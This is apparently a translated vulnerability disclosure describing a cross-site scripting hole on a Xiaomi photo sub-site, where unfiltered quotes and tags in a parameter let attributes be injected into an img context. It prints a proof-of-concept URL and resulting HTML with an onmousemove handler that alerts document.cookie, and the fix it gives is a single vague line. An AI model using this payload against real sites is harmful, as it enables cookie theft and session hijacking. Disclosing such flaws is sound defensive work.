A sub-station of Xiaomi does not strictly filter parameters, which can cause XSS

The single double quotes and html tags are not filtered, but all strings after '/' or '\' are simply replaced with null.
The inserted destination region is in an img. First, you can use a variety of on Event X, or you can write a <script src => without any pressure.

 
<A x = "'', '000000', 'HTTP: // callback) "onmousemove =" javascript: alert (document. cookie); "onclick =" shareTSina ('Come to my Xiaomi mobile phone to take a picture of the home page, to see the wonderful works I shot with Xiaomi. [Azhe] ', 'HTTP: // pai.xiaomi.cn/photographer/id/34') "href =" javascript: void (0) ">




Http://developer.xiaomi.cn/index.php/photographer/id/34') "onmousemove =" javascript: alert (document. cookie); "x = "'
 
 
 
Solution

Filter as before